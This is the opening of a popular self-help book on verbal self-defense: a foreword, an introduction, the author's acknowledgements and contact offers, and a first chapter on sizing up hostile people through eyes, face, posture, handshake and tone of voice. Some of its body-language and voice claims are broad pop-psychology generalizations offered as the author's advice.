But words, like any power, can, and often are, used destructively. We fight wars with words, and over words.
And whoever said “sticks and stones can break my bones, but names can never harm me” obviously didn't
grow up in my neighborhood in the Bronx in the 1950s, or for that matter, anywhere on earth since the dawn of
human history. A bad word from the medicine man of many “primitive” peoples is sufficient to kill a person in
a few days. We're a bit more subtle in contemporary western civilization, where daily verbal assaults serve to
constantly diminish us and condemn us to a slower (but nevertheless ultimately very similar) death. We
(observed Martin Luther King, Jr.) “see ominous clouds of inferiority beginning to form in” our “little mental”
skies; we become de-moralized and disillusioned: “at a loss for words” precisely when we each need words
most urgently to protect our most valuable psychological asset—our self.
All of us have been in situations where words have very much harmed us. All of us have been in situations
where the right words, spoken in the right way, at the right time, would have protected us from an especially
vicious verbal assault. Words have failed us all at times (“words fail me”), and that's why we all need to read
this book.
—SHELDON SOLOMON, PH.D., PROFESSOR OF PSYCHOLOGY AT SKIDMORE
COLLEGE
SHELDON SOLOMON, PH.D., HAS BEEN PROFESSOR OF PSYCHOLOGY AT
SKIDMORE COLLEGE SINCE 1980. HE WAS RECENTLY HONORED BY HIS FACULTY
COLLEAGUES AS THE 1998 EDWIN MOSLEY LECTURER. AS AN EXPERIMENTAL
SOCIAL PSYCHOLOGIST, HIS INTERESTS INCLUDE THE NATURE OF SELF
CONSCIOUSNESS AND SOCIAL PSYCHOLOGY. HIS WORK EXPLORING THE
EFFECTS OF THE FEAR OF DEATH ON ALL ASPECTS OF INDIVIDUAL AND SOCIAL
BEHAVIOR HAS BEEN SUPPORTED BY THE NATIONAL SCIENCE FOUNDATION
AND REPORTED IN THE NEW YORK TIMES, THE HERALD TRIBUNE, THE BOSTON
GLOBE, PSYCHOLOGY TODAY, AND SELF MAGAZINE. HE IS CO-AUTHOR OF THE
FORTHCOMING BOOK SELF-ESTEEM & MEANING (APA BOOKS, 2000).
Page xx
INTRODUCTION.
Every time you flick on your TV and channel surf, you can't seem to escape seeing one of these self-appointed
motivational gurus telling you how you can have a fantastic, phenomenal, heavenly life simply by achieving
one or more of the following goals:
Locate your lost powers so that you can have your own zillion-dollar company, tropical island, a closet full of
Armani, a limo, yacht, jet, and mansions in every state. Otherwise you're a LOSER! Make marathon love with
your partner so that he or she will be faithful! (Who would even have the energy to cheat, let alone walk, after a
night of continuous orgasms?) Lose that disgusting fat! Get off your butt and exercise! Confused about which
of the zillion exercise machines to buy? Make it easy on yourself. Get them all! The same goes for that
“miracle weight loss” food, drink, pill, or diet. Try them all, but stick with the one that makes you puke less.
Get hair! Nobody looks good without hair! It doesn't matter if it comes in a can and you spray it on—just get
some damn hair! And your skin—UGH! Get rid of those repulsive blackheads, whiteheads, and pus heads! If
you don't hurry up and use that lotion, you may end up being someone's weight-loss program, because they
won't be able to keep any food down if they look at you.
Even though you may be chuckling at these scenarios, the unfortunate truth is that these commercials and other
outside influences in the media unfairly affect the way we see who is pretty, who has a nice body, who is
socially acceptable, and who is a winner! Heaven forbid you fall short of the “rules for acceptability.” You are
then relegated to the position of social leper. The strange thing is that we have all been social lepers at one
point in our lives, and we continue to remain social lepers in the eyes of others. Maybe it's a lot of people or
maybe it's just a few people. If we weren't perceived so negatively and with such hostility, why would others,
even perfect strangers, go out of their way to come up to us just to give us verbal hell?
Even if you have all of the things mentioned in the scenario above—which, by our societies standards make
you a “success”—you can still be a social leper. Even if you are a zillionare who's fit, without a zit, and even
has hair, some people still won't like you. Who knows why? They just won't. And because they won't, they will
try to make your life hell. They will give you dirty looks and try to undermine you, negate you, and say awful
things to you.
How do I know this? I know it firsthand from the thousands of people I have seen in my private practices
throughout the years who have been devastated by some unkindness or vulgarity someone has said to them. I
have received letters and calls from thousands of people around the world who have responded to my book
Toxic People—10 Ways to Handle People Who Make Your Life Miserable. They have shared with me their
devastation at the horrible things others have said to them. These letters and calls touch me deeply. They bring
tears to my eyes as I feel for those who wrote and called.
Page xxi
What You'll Learn in This Book
No matter how much light we make of it, this is a very serious problem. Harsh words do hurt. Mean statements
do sting. Insensitive comments do devastate. Prolonged emotional pain due to constant verbal harassment can
physically maim and even kill. We often carry negative things people have said to us to our graves. Thus,
words can cause us a lifetime of pain, anguish, and agony.
This book however, was not designed to teach you how to start fights or wars! Instead, its goal is to teach you
how to defend yourself against those who start verbal fights with you. It will help you recognize who the verbal
enemy is and what strategies would work best to defeat them. As you learn the strategies available to you in
your attempts to deflect the verbal attacks, you will develop a newfound sense of self-confidence.
It's time to find a solution! It's time to fight back! It's time to relinquish the pain! It's time to never let anyone
put their mean words or verbal poison on you again! It's time to never be a verbal victim again!
How This Book Is Organized
The chapters in this book fall into six different parts, which take you through the process of how to effectively
defend yourself from the verbal dragons of the world.
Part 1, “Identifying the Verbally Venomous Opponent,” shows you how to size up your verbally offensive
opponent. You will learn the telltale emotional and physical signs of being verbally zapped. It's essential to
know exactly what type of person is verbally zapping you. These verbal abusers fall into one of two categories,
depending upon the severity of their verbal abuse. I will tell you the characteristics of each of these different
types of verbal abusers and how to immediately spot their abuse before it's too late. Knowing this can save you
from any emotional and physical torture you could possibly expect from this individual in the future. Finally,
you will receive some insight as to some of the underlying psychological reasons someone becomes a verbal
abuser and the disastrous long-term consequences of allowing verbal abuse to continue.
Before you can begin to fight your offensive opponent, you need to prepare yourself thoroughly for battle. You
need to have all of the necessary equipment available to you. In Part 2, “Preparing to Verbally Defend
Yourself,” you will learn everything you need to know about doing so. It is not enough that your equipment
and weaponry is in functioning order. It has to be in tip-top shape. If it isn't, you must do whatever you can to
make sure that it gets in that condition. This section will show you all of the ways to have the most polished
equipment, so that it is far superior to and outshines your opponent's.
In Part 3, “Verbal Defense Strategies to Use in Combat,” I give you all of the strategies you can use in order to
defend yourself against your verbal adversary. These proven techniques range from the benign to the most
powerful. You will learn the most effective verbal-defense tactics to use in certain circumstances. You will also
learn when it's time to put up the white flag and surrender.
Page xxii
Part 4, “Verbal Warfare with Specific People in Your Life,” tells you how to defend yourself against members
of the opposite sex—husband, wives, lovers, and co-workers. You will learn the best strategies to use with
family members, from children to teens to siblings to parents. Finally you will learn the best tactics to use
against any specific opponent who could possibly cross your path. You will learn defense strategies for those
you are closer to and must see more often (such as friends, co-workers, and employers), to those you may see
on occasion (professionals, police officers, and food servers), to those with whom you rarely have contact
(customer-service representatives, attorneys, and store clerks). You will learn the most effective strategies to
use based upon these people and what effect they can have on your life.
Part 5, “Verbal Combat Against Verbal Vermin,” gets very specific, breaking down the exact verbal defense
strategies to use with particular types of verbal vermin. The verbal vermin discussed come in three categories—
merely annoying, repulsive and disgusting, and downright lethal. The more threatening the verbal vermin are to
your well-being and to you life, the stronger is the verbal weaponry employed. Obviously, the less threatening
and more annoying the verbal vermin is to you, the more benign weaponry is utilized. You will learn exactly
which type of verbal weapons are best suited for each of the three types of verbal abusers.
In the sixth and final part of this book, “Dodging Verbal Bullets in Specific Battlefields,” you will learn exactly
what to say and how to say it in a myriad of situations, including getting rid of unwanted phone solicitors,
letting someone know you don't want to be used and exploited, dealing with sexist or racist remarks, breaking
bad news to someone, admitting your mistakes, confronting someone about their mistakes, and speaking to
someone who has a lifestyle you may not support.
You will also learn what to say in life-or-death situations, from calling 911 to discussing AIDS and condom
usage to verbally protecting yourself against road rage, violence, and even rape. The end of the book focuses on
the power of the word and how what you say about yourself has a profound effect on your world around you.
You will learn how to control your tongue so that what you say and how you say it always works in your
defense and not against you.
Extras
The Complete Idiot Guide series allows you to learn even more information in a rather unique way. Specific
information is presented to you in a concise and easy-to-read manner. These extra pieces or bits of information
are categorized into four sections: “Talk Back Tips,” “Verbal Vignette,” “Bon Mots,” and “Listen Up!” Each
section is easy to locate because it appears in a gray box on the page.
Page xxiii
Throughout the book you'll also see special inserts, “Talk Back” boxes. These give samples of conversations
that represent both good and bad examples of how to talk with someone. Even though many of the
conversations and dialogue may amuse you,
Page xxiv
keep in mind that people actually do speak like this. People say things that get them into trouble. Perhaps by
being a voyeur and seeing what these people say, you'll be more aware of bad patterns and not follow suit. On
the other hand, some dialogue in these boxes will also show you how to say it right!
Dedication
To my brother and very best friend in the world Manny M. Glass, who without his incredible wisdom and
insight, and a lifetime of being my “mentor” in the area of communication, this book would never have been
done. I thank you for your efforts in helping me with the research for this book and for putting your many
brilliant ideas and theories into words so that others can benefit from them as I have. As my protector and big
brother, you have showed me a lifetime of what it means to speak up for yourself—to say what you mean—to
mean what you say—and to say it so that others will hear you. Manny, how lucky I am to have studied the “Art
of Verbal Self-Defense” from the master—YOU!
Acknowledgements..
To my best friend and mother Rosalie Glass, for loving and adoring me with every inch of her heart and soul. It
is largely because of this extraordinary woman that I am able to give back to the world the integrity, warmth,
decency, sensitivity, and love that she has instilled in me throughout my entire life! I am blessed and truly
grateful for this special gift!
I wish to thank my agent Jane Dystel for being so encouraging and supportive to me in all of my literary
endeavors.
To Nancy Mikhail for soliciting me to write this book and affording me the opportunity to help relieve a lot of
anguish in the lives of those who will read this book.
To Jessica Faust, my editor, for her insight and professionalism towards this project. Thank you to my
developer and editor, John Jones, for his support, kind words, encouragement, and for our thought-provoking
conversations; and my copy editor, Erik Dafforn and production editor, Robyn Burnett.
To Tom Brennan, Susan Kaplan, Kevin Thranow, Laura Kovach and Anthony Mora of Anthony Mora
Communications, who have consistently proven to be my best PR agents.
To each and everyone of my clients, readers, listeners, seminar audiences, and television viewers who have
shared their beautiful words, lovely thoughts, and heartfelt blessings, and by letting me know that in some way,
I made a definite difference in their lives! I am both honored and humbled.
And, finally, to all of my dear friends and colleagues in the media, I thank you for your
Page xxv
love, affection, and support, and for giving me the gift of be able to do what I love the most: getting my
message—Global Peace Through Communication—out to the world.
Feel Free to Get in Touch with Me!
I am here for you! There are other products available to you (books, tapes, videos, and so on) including two
new products that have been in enormous demand—tapes and CDs with music and lyrics I have designed to
both entertain you and to make you feel good.
They are readily available to you and can be ordered at the back of the book. You will receive them as soon as
possible.
In addition, because of the numerous requests I have had from people all over the world, I have made e-mail
and telephone consultations available to you. Now you can feel free to call me up or to e-mail me with your
specific problem. For a fee, listed in the back of this book, I will consult with you in helping to answer any of
your specific questions in helping you to apply the techniques in this book and those in my others. I will help
you help yourself in resolving your own specific relationship problems, business dilemmas, or personal and
family issues that are bothering you, consuming your thoughts, and holding you back from living a happy, proactive,
and productive live.
If you would like to set up such a telephone appointment, order books, tapes, products, or my music tapes and
CDs, e-mail me at info@drlillianglass.com, www.drlillianglass.com, or call (212) 946-5729. Leave your
name, address, e-mail address, and phone number
You can even write to me for more information at one of the following addresses:
Dr. Lillian Glass
c/o Your Total Image Inc.
P.O. Box 792
NYC, NY 10021
Dr. Lillian Glass
c/o Your Total Image Inc.
435 N. Bedford Dr. Suite 413
Beverly Hills, Ca. 90210
I look forward to hearing from you and being of service to you.
Trademarks
All terms mentioned in this book that are known to be or are suspected of being trademarks or service marks
have been appropriately capitalized. Alpha Books and Macmillan General Reference cannot attest to the
accuracy of this information. Use of a term in this book should not be regarded as affecting the validity of any
trademark or service mark.
Page 1
PART 1
IDENTIFYING THE VERBALLY VENOMOUS OPPONENT
When you “know before whom you stand,” you know everything you need to about how to navigate
successfully through life. Living becomes so much easier and safer when you know the animal you are around,
and then you won't need to feel scared, insecure, or threatened.
The animal kingdom shows a great awareness of “knowing before whom one stands.” Animals' very survival
depends on it. Is another animal friend or foe? Will one be ignored, played with, or become a meal? We know
from personal observation that dogs need a lot of attention and love to play whenever possible. Cats are
usually independent, demanding less attention; chimps often mimic whatever you do; pigs usually roll around
in dirt; and goats eat just about anything you put in front of them. You just know that an iguana will never
cuddle up to you and that a large boa constrictor can wrap itself around you, squeezing your guts out. We also
know to beware of a hissing cat or a dog bearing its teeth, growling, or foaming at the mouth.
By knowing the behavior of animals, you know what you can expect from them so that you can act accordingly.
Unfortunately, when it comes to the human animal, most of us rarely pay attention to whom we are in front of.
We are often shocked and disappointed by human actions when we find out they have lied, betrayed, or refused
to make a decision. Learning to look at or listen to who is standing in front of us, however, teaches us what to
expect and saves us untold amounts of grief and disappointment.
In Part 1 of this book, you learn to spot the dangerous human lions and tigers that are ready to attack you—not
with their teeth, but with their vicious words.
Page 3
Chapter 1
Identifying the Verbally Venomous Opponent
Because knowledge is power, identifying your verbally offensive opponent can provide you with the warning
signals that the verbal enemy is approaching and ready to attack at any time. It helps you develop verbal radar
so that you know who is most likely to be your verbal opponent and what weapons that opponent will likely
use to verbally attack you. By identifying would-be attackers immediately, you will be on guard to either ward
off their verbal advances or verbally attack back. Close examination of their facial, body, and verbal language
can help you determine whether you are standing in front of a friend or foe.
Stop, Look, and Listen—Sizing Up Your Opponent.
How many nights have you stayed awake tossing and turning because of an awful, searing comment someone
made to you? As you toss and turn, unable to find a comfortable position, you feel like kicking yourself for not
saying this or that in retort to the venomous statement. The more you replay the toxic scenario in your mind,
the harder you feel like kicking yourself for not following your “gut” instincts about the person.
If it makes you feel any better, this scenario has happened to just about everyone over the age of 10. The reason
why you didn't “go with your gut” and act accordingly is because you didn't take the time to stop, look, and
listen. This basic rule of caution for
Page 4
crossing the street is also the basic rule of caution for verbal self-defense. First, stop in your tracks and assess
the situation so that you don't blindly walk into oncoming traffic. Second, look for any oncoming vehicles.
Third, listen for any oncoming vehicles that may sneak up on you, maiming or hurting you.
Follow this same procedure with everyone you encounter. First, stop in your tracks and assess the situation so
that you don't step blindly into oncoming verbal traffic. Then look at the entire person.
For instance, observe her body language, the distance she is standing away from you, her facial expression, and
shoulder, arm, and hand posture and movement. Now you are ready to open your ears and objectively listen to
what she says and how she says it to you. This loudly and clearly announces any oncoming verbal assassins
who may try to sneak up on you, emotionally maiming you.
20/20 Hindsight
If you would have stopped, looked, and listened, you would have had a good night's sleep. You would have
seen that your potential “business associate” could not even look you in the eye when speaking with you. When
he did manage to look in your direction, his eyebrows were furrowed, and his lips were pursed, tense, and
pulled over to one side. You would have seen that he was always leaning away from you, inching farther and
farther away anytime you got close to him. His physical gestures and demeanor towards you were completely
opposite of those he showed your attractive, shapely assistant when she entered the room. In that case, he
moved closer to her, smiled, and was wide-eyed, unable to take his eyes off her as he made some inane
comments to her. Had you “listened” more carefully, you would have heard him clearly through his bravado.
You would have noticed that whenever you asked him a poignant question, he never really answered you. He
was evasive, continually interrupted you, and changed the subject whenever you tried to probe further.
By stopping, looking, and listening, you would have seen ahead of time what was coming. You would have
heard his constant bragging as a cue that he was trying way too hard to convince you of how powerful he was.
You would not have been so ready to dismiss his sexist remarks about your assistant and other females you
discussed—remarks indicating his disrespect for women. You would have interpreted his evasiveness as a sign
that he had something to hide. You would have seen his inability to look at you (especially after you asked him
a significant question), his squirming, and his distancing himself from you as indications that he felt discomfort
around you. In your 20/20 hindsight, you knew all along that not only was he disrespectful towards women, but
he was obviously not being honest with you.
Page 5
Freeze and Focus
Remember when you played musical chairs as a child? While the music played, you marched around the chairs,
which always numbered one fewer than the number of children who marched around them. When the music
stopped you were told to freeze and whoever wasn't positioned in front of a chair was disqualified from the
game. That moment of freezing allowed you to assess whether you had a chair in front of you. The same is true
whenever you find yourself in front of others. You need to freeze for a moment to assess who the person really
is. Just be careful not to go into a catatonic stupor and freeze in some contorted position.
Before sizing up your opponent, it is essential for you to initially keep your mind open—a tabula rasa.
You must be objective, putting all prejudices aside. Blow out preconceived notions and open your mind so that
you can objectively input the visual and aural information into your mind's computer.
Directly face the person. Through your nose, breathe in air for three seconds while you visually take in
information about him. As he speaks, continue this breathing pattern of slowly breathing air in through your
nose, holding it for three seconds, and then slowly exhaling it for 10 seconds, until you have comfortably
expelled all the air in your lungs. All the time you are breathing the air in through your nose, absorb what the
person is doing with his posture, stance, body, arms, hands, and face.
As you begin to interact with him, absorb what he is saying and how he says it. As you breathe in the air
through your nose, hold it, then slowly exhale it while listening to him. “Stopping” gives you the opportunity to
digest and process everything he said. It gives you the valuable time needed to analyze what he is relaying to
you and for you to respond accordingly.
Reading Between the Lines
We've all heard that you can't judge a book by its cover. While this adage is partially true—you can't judge a
book's content by its cover—you can certainly determine a lot of other things from its cover. For instance,
when browsing in a bookstore, you can assess whether the book in front of you has been handled by many,
few, or no potential readers; and whether it is old or new; expensive or cheap.
Page 6
Similarly, you can determine a great deal about a person just by objectively looking and observing her. Of
course, it is odious to judge and to react to people by the color of their skin, their physical stature, hair, height,
weight, body, or facial appearance—things they can do little or nothing about, and that have nothing to do with
their character. These erroneous and dangerous perceptions breed prejudice and hatred, the cancer of our
society. Furthermore they tell you nothing at all about what the person is like. On the other hand, things people
can control—the way they act and comport themselves—are appropriate ways to evaluate people. By observing
the way people comport themselves and their bodily and facial actions, you can learn a great deal about them,
especially in terms of how they relate to you.
When you learn to objectively read between the lines, you will see things about the other person you never
noticed before. This information often gives you the added advantage during your interactions, because you no
longer merely “look.” Now you will see the truth—what is actually going on.
Looking Between the Lines Quiz
1. Is he standing too close to you?
2. Is he standing to far away from you? Does he lunge forward when speaking to
you?
3. Is his posture hunched over? Are his shoulders slumped?
4. Is his posture rigid?
5. Does he rock back and forth when he speaks?
6. Is she in constant motion?
7. Are her arms and hands in constant motion?
8. Does she gesture wildly?
9. Does she take up a lot of room, invading your space?
10. Is she tentative in her walk?
11. Is he tentative in his movements?
12. Does his jaw jut forward when he speaks or listens?
13. Is his head bowed downward?
14. Does he make gestures opposite to what he says (for example, shaking his
head “no” when he says “yes”)?

Page 7
15. Does he clench his jaw while listening to you?
16. Does she exhibit extraneous facial tics or muscle throbbing when she listens?
17. Do veins, vessels, and muscles in her neck stick out when she speaks?
18. Does she have trouble looking at you while she listens?
19. Does she look away when speaking with you?
20. Does she stare?
21. Does he have an icy cold stare?
22. Does he smile when he looks at you?
23. Does he furrow his brow (as if frowning)?
24. Does he gaze upward when speaking or listening?
25. Does he frown when looking at or listening to you?
26. Does she have a blank look when you speak to her?
27. Is she nodding her head in agreement when you speak?
28. Does she shake her head “no” when listening to you speak?
29. Does she have a disgusted look when talking with you?
30. Does she smile too quickly or inappropriately?
31. Does he look askance at you when you speak—with forehead furrowed,
mouth pulled to the side, and one eyebrow lifted?
32. Are his nostrils flared when speaking with you?
33. Is his mouth open when listening to you?
34. Does he instinctively raise his hand to his cheeks?
35. Does his face rest on his knuckles while listening to you?
Later in this book, you learn the possible meanings of each of these
observations.
Telltale Eyes
We have all heard that the “eyes are the windows to the soul.” Eyes tell us so much about another person. Our
eyes are constantly moving as we think, observe, or speak.
When someone doesn't look at you, what does it really mean? Do you immediately think there is something
wrong with you, that he is not interested in you or that he is insecure or lacks confidence? The answer may be
any or all of the above. In the following section you learn what someone is really saying to you as you decipher
what his eyes are telling you.
Page 8
Here's Looking (or Not Looking) at You, Kid!
Eyes also signal when you can answer a question, or when it's your turn to talk. When you wish to speak, you
usually look into a person's eyes. When she looks back at you, that indicates that it is your turn to speak. This
eye contact is typically broken for a few seconds when you start to speak. Thus, those who may not relate well
to you or who disrespect what you have to say might never reestablish the eye contact, which would indicate
that it is again your turn to speak, even after you interject a comment. This type of behavior often occurs with
toxic individuals who are bullies, narcissists, or unconscious of anyone but themselves. Other people might
always look around the room when they speak, never making eye contact or even gazing in your direction.
These people may not be socially adept and may feel uncomfortable or insecure in your presence.
If the person looks up toward the sky when they speak, they may be “thinking” or trying to recall something.
Looking from side to side may also indicate “thinking” in addition to being unsure or doubting something. If a
person's eyes dart back and forth quickly, they might be nervous or uncomfortable around you.
In contrast, constant piercing stares can either debilitate or stimulate. If someone “can't take his eyes off you”
and stares right into your eyes without smiling, this is not a good sign. It can be not only disconcerting, but
frightening. This person is furious with you or can't stand you. The length of time he or she stares at you in that
manner may indicate the degree of hostility towards you, and your personal safety could be in jeopardy. This is
often the case in persons who are completely out of control with extreme mental disturbances and a tendency
toward violent reactions. But not all forms of continuous staring without a smile indicate that violence is on the
way.
Once, when I was seeing a client, he stopped talking midsentence during our conversation and stared blankly at
me for what seemed to be an eternity. This was jarring, and my heart was pounding as I was thinking that he
might turn violent at any moment. It turned out that he was having a seizure.
On the other hand, constant staring may indicate that a person is madly in love with you. In this case the pupils
enlarge due to a chemical response in the brain and the subsequent action of the autonomic nervous system.
When people gaze downward at you, “stare you down,” or look you over from head to toe, they are telling you
Page 9
that they think they are better than you. They are putting you in a weaker position during an argument. When a
brow is furrowed, the eyes are narrowed as in squinting, you can be assured that the person didn't like
something you said, doesn't like you, or is angry with you.
Opening the eyes widely may indicate that the person is either surprised by something you are saying or is
trying to be emphatic about what they are saying to you. Looking down may indicate the person is
embarrassed, ashamed or saddened, or has poor self-esteem, not feeling worthy or deserving.
Excessive blinking may reflect insecurity about what the person is trying to project. It may also indicate that a
person may not be telling the truth. Lying isn't always determined by whether or not a person looks at you. In
fact, good liars can unflinchingly look into your eyes and tell a lie, and even continue to look into your eyes
after they are accused. Research shows that when most of us are caught in a lie we will look away and if we are
innocent will look at the person, but will not stare in their eyes.
A Machiavellian person will constantly stare into the accuser's eyes—an unnatural behavior where they are
consciously attempting to appear as though they have nothing to hide. This may be mistaken for honesty.
Therefore eye contact is not the only indicator to use in determining a person's guilt or innocence, but it can be
a significant factor.
If someone is looking into the distance, at her watch, or is being distracted by another object, chances are she is
bored with what you're saying or not interested in you.
Face Off
Besides a person's eyes, facial movements tell us a lot about how and what people are thinking about us.
Approximately 75 percent of our nonverbal communication is done with our face. According to Dr. Paul
Ekman at the University of San Francisco, there are approximately six basic emotions that we express through
our face: happiness, sadness, anger, disgust, surprise, and fear. No matter what culture you are from—whether
New Guinea, China, Africa, or France—these facial expressions are universal. Even though cultural differences
still exist, the fact that we all express emotion similarly is one more reason to celebrate the similarities—and
not the differences—between people.
Many people, businessmen in particular, have been trained to use a poker face to catch their opponents (and
sometimes their colleagues) off guard. If enough time is spent together, however, people's true feelings
eventually emerge. The limbic system, located
Page 10
deep within the brain, uncovers our emotions—how we feel. Even if we voluntarily try to control our facial
movements to hide our true feelings, the involuntary aspects of the brain eventually take over, unmasking the
truth.
The gamut of human emotions is revealed throughout a conversation, so if you pay close attention you will
almost always know how the person is feeling at a particular point in the conversation. A conversation might
begin with the person's eyebrows raised and head cocked to the side, which reveals that he doubts what you are
saying. As you continue to speak, you may then see the corners of his mouth turn up, indicating that he is
amused by what you're saying. As the conversation continues, three hours later you may see his slightly flared
nostrils, a slightly protruded lower lip, and a perpetual slight smile as you continue to speak, thereby indicting
that he has “fallen in love” with you.
Telltale Mouth
The mouth is a barometer of how happy or angry a person is. If someone is grimacing, or tightening or pursing
her lips, she is usually frustrated or annoyed with you. If her annoyance with you persists, her facial expression
may turn to disgust as she raises her chin and upper lip and wrinkles her nose. If she is unhappy or sad being
with you, her face will appear expressionless (with the exception of her eyes and surrounding muscles) and her
lower lip will turn downward. If she is nervous around you, you may notice her sucking, biting, chewing, or
licking her lips a lot. She may smile nervously, wherein she immediately smiles (often at inappropriate times)
and then resumes her normal facial expression.
This is what physically happens to your face when you express the following emotions.
Happiness
Smiling mouth
Cheeks raised
Lips parted
Page 11
Jaw slightly dropped
Wrinkles around eyes
Eyes relaxed and narrowed
Sadness Eyebrows raised
Forehead wrinkled
Lower lip depressed—turned
downward
Upper eyelids lowered
Anger Eyebrows lowered
Hard stare
Lips raised
Open mouth
Disgust Lower eyelid pushed up
Upper lip raised
Nose wrinkled
Open mouth
Chin raised
Eyebrows lowered
Eyes tensed and narrowed
Surprise Eyebrows raised
Upper eyelids slightly raised
Mouth open
Jaw drops
Fear Eyebrows raised
Upper lids raised
Lips stretched
Mouth open
Tense, open eyes
Body Talk
Just as the face tells no lies, neither does the body. Like we use our faces, we use universal signals in order to
get our message across, signals that transcend different cultures. The physical distance we keep, the way we
stand, our arm and hand movements, our head position, how we shake hands, and how we touch tells us if there
is a verbal enemy among us.
Keep Your Distance!
We know whether people like being around us by how physically close or distant they are. People who inch
away from you as you inch towards them don't feel the same
Page 12
towards you as you do towards them. They feel uncomfortable around you and want to get away. People who
invade your space by getting a little too close may be from another culture, where the norm in communication
is such physical closeness, or they may really like you and want to get as close as they can to you.
On the other hand, getting too close may be a power trip, where the person is attempting to be dominant over
you. Getting too close and invading one's space is an intimidation technique many business people use to gain
the psychological “upper hand” in the situation.
Stand Up!
People's posture can convey their attitude regarding how they feel about us and how they feel about
themselves. For example, a person with a low self-image may often slouch. If he doesn't slouch around others,
but slouches around you, he may be demonstrating his feelings of subservience or intimidation by
“minimizing” himself in your presence. If someone is really attentive to you, he will usually lean forward with
straight spine, arms open. If he is relaxed around you, he will lean back with his head positioned upwards and
limbs relaxed. A person who is interested in you will have his body turned towards you, while his lack of
interest in you will be reflected in his body being turned away from you.
If she is bored or nervous around you, she will usually cross and uncross her legs; rock back and forth while
sitting or standing; stretch; or fiddle with her hands, and tap her fingers or feet. Her body may be tense, rigid if
she is nervous, and have a seemingly uncontrollable shake. Foot-tapping indicates nervousness and anxiety.
If you have hurt someone or made them sad, his body will be overly loose, with slow and deliberate
movements. On the other hand, if he is standing too still or has a rigid posture, he may be uptight and nervous.
If his posture is rigid and he is backing away from you, chances are he can't wait to get away from you.
Armed with Arms and Hands.
Fiddling with one's hands, tapping fingers, rubbing the fingers together, picking the cuticles, or biting one's
fingers or nails often indicates nervousness or discomfort in a situation.
Crossing arms often indicates hostility, as does putting the hands on both hips, finger pointing, rapid and
uncontrolled arm and hand movements, and clenching of the fists.
Excessive, overly dramatic arm and hand movements may indeed be cultural, but pay close attention, because
the person may be expressing irritation with you in trying to be overly convincing in an attempt to sway your
opinion.
Page 13
Crossing and uncrossing the arms usually means that you or what you have just said bore the listener. When
someone is really frustrated, he may gesture excessively with his hands and he may point if he is both angry
and frustrated. If he is extremely annoyed, he may put his hands on his head and rub the head.
It is essential to note that if someone is just giving up and submitting to you, they may indicate this by throwing
their hands up in the air. If someone can't seem to make a decision, they may open and shut their hands, or
there may be one hand, then the other, in motion. This act will usually be repeated several times in succession.
Hand-to-Hand Combat
The way that people shake your hand tells you a lot about them and how they feel about you. It is, however,
important to note that a handshake is also cultural. In Japan, bowing is the mode of greeting and saying
goodbye. When Japanese are forced into communicating with Americans, their handshake is often soft and
fishlike. This is because they may feel uncomfortable and tentative, as it is an act that is out of their usual social
norm. Outside of the Japanese culture, however, a light and soft handshake usually means that the person is
timid or unsure of himself, or of you. It may also indicate submissiveness.
In contrast, a firm handshake may indicate self-confidence or confidence in you. If however the handshake is
too firm, where the person is squeezing your hand too tightly, they may be trying to establish dominance or
power over you. An overly firm handshake may also reflect an inner hostility towards you. Unless the person's
arm is disabled, if you extend your hand and she doesn't accept it, or refuses to acknowledge it, she may be
saying that she really can't stand you and that she wants nothing to do with you; this is an extremely hostile act.
A clammy or wet hand often reflects nervousness, however there are some cases where the person may have a
medical condition that causes excessive perspiration.
Listening Between the Lines
Just as you absorb people with your eyes, you need to absorb them equally with your ears to determine who
they are and whether they can help you or harm you. You not only need to listen to what is said, but how it is
said. How people speak to you is just as revealing as how they physically act around you.
Page 14
Telling Tones
After studying the way people communicate for nearly two decades, I have discovered that the tone of one's
voice may be the most important factor in determining how someone really feels about himself and about you.
What goes on in one's head and in one's heart is clearly reflected in the tone of his voice.
Before discussing what voice and speech pattern may reflect about how people feel about themselves or you,
note that many speech and vocal conditions result from genetic conditions or learned behaviors. For example,
those who sound nasal may not be lazy, snobby, or condescending people, instead they may be suffering from a
cleft on their palate (the roof of their mouth). On the other hand, they may be from an area of the country where
the only way they learned to speak was nasal.
For the most part, those who speak in boring, monotonous tones are closed off emotionally and have many
unresolved psychological issues. These people have difficulty initiating and maintaining intimate relationships
because it is so difficult for others to “get a read on them” and communicate openly and freely with them.
Squeaking or Leaking?
If you encounter women who speak in a high-pitched, breathy, sickeningly sweet, accommodating vocal tone,
run for your life! Women who speak to you in high-pitched, little-girl tones usually think they are being cute,
girlish, and coquettish. This voice pattern usually reflects a great deal of inner hostility and passiveaggressiveness.
If you hang around these people long enough, don't be surprised to hear the pitch of their voice
drop down a few octaves. Watch them spew forth verbal lava from their once-delicate mouth.
A woman's high-pitched squeak can be extremely annoying and elicit a hostile reaction from others. I have
witnessed this on several occasions.
Page 15
On one occasion, a squeaky-voiced store manager kept saying things over the loudspeaker until a patron
screamed out “shut up, you're getting on my nerves. You sound like a damn chipmunk.” Everyone who heard
this bold man was in stitches. They felt the same way about her, but they dared not say anything.
When you hear the pitch of the voice (especially a man's voice) rising, you may want to consider the veracity
of what the man is saying. This is often a “leakage” of one of the factors that constitutes whether a person is
lying or telling the truth.
Tones Ready to Verbally Attack You
People who attack and speak to you in verbal bullets like a machine gun are angry at you, at themselves, or at
the world. Stay clear of them. Oftentimes, their verbal hostility makes you react with equally hostility towards
them. They may even be unconscious that they sound as hateful as they do and may question why you are
speaking in such a hostile tone to them.
The same holds true for excessively loud talkers. In addition to their hostility, unless they have a conductive
hearing loss, those who speak so loudly are often insecure, need a lot of attention, and crave to be noticed. This
is also the case for men who have deep rich resonant voices but amplify the tone by speaking too loudly—
especially in situations where everyone can hear them. Bullies often attack their tones in addition to being loud
and obnoxious.
The Mouse That Roars.
Those who speak in very soft tones may have hearing loss due to nerve damage, which reflects this type of
speech pattern. On the other hand, those with soft voices may be speaking softly because of poor self-esteem
and low self-confidence. They may be overly shy and may not feel that what they have to say is very worthy,
significant, or important. Because of their low self-worth, most soft or timid speakers can be passiveaggressive.
They may use their soft tones in order to force people to listen to them or to get attention from
others as they are asked to “speak up.” In essence, they may be speaking so low for “effect,” in order to gain
the upper hand by forcing people to listen closely to what they have to say. By speaking as softly as a mouse,
they are usually not letting out any of their true emotions.
“Tha tha that's all, folks!”
Porky Pig's infamous line at the end of cartoons makes me sick, because I have seen firsthand the devastation
teasing causes to individuals who stutter or stammer. There is a lot of controversy about what causes stuttering
or stammering (repetition or
Page 16
hesitation of words or sounds). Theories include beliefs that this speech behavior is inborn, reflects a
neurological condition, is learned, reflects emotional conflict, or stems from being nervous.
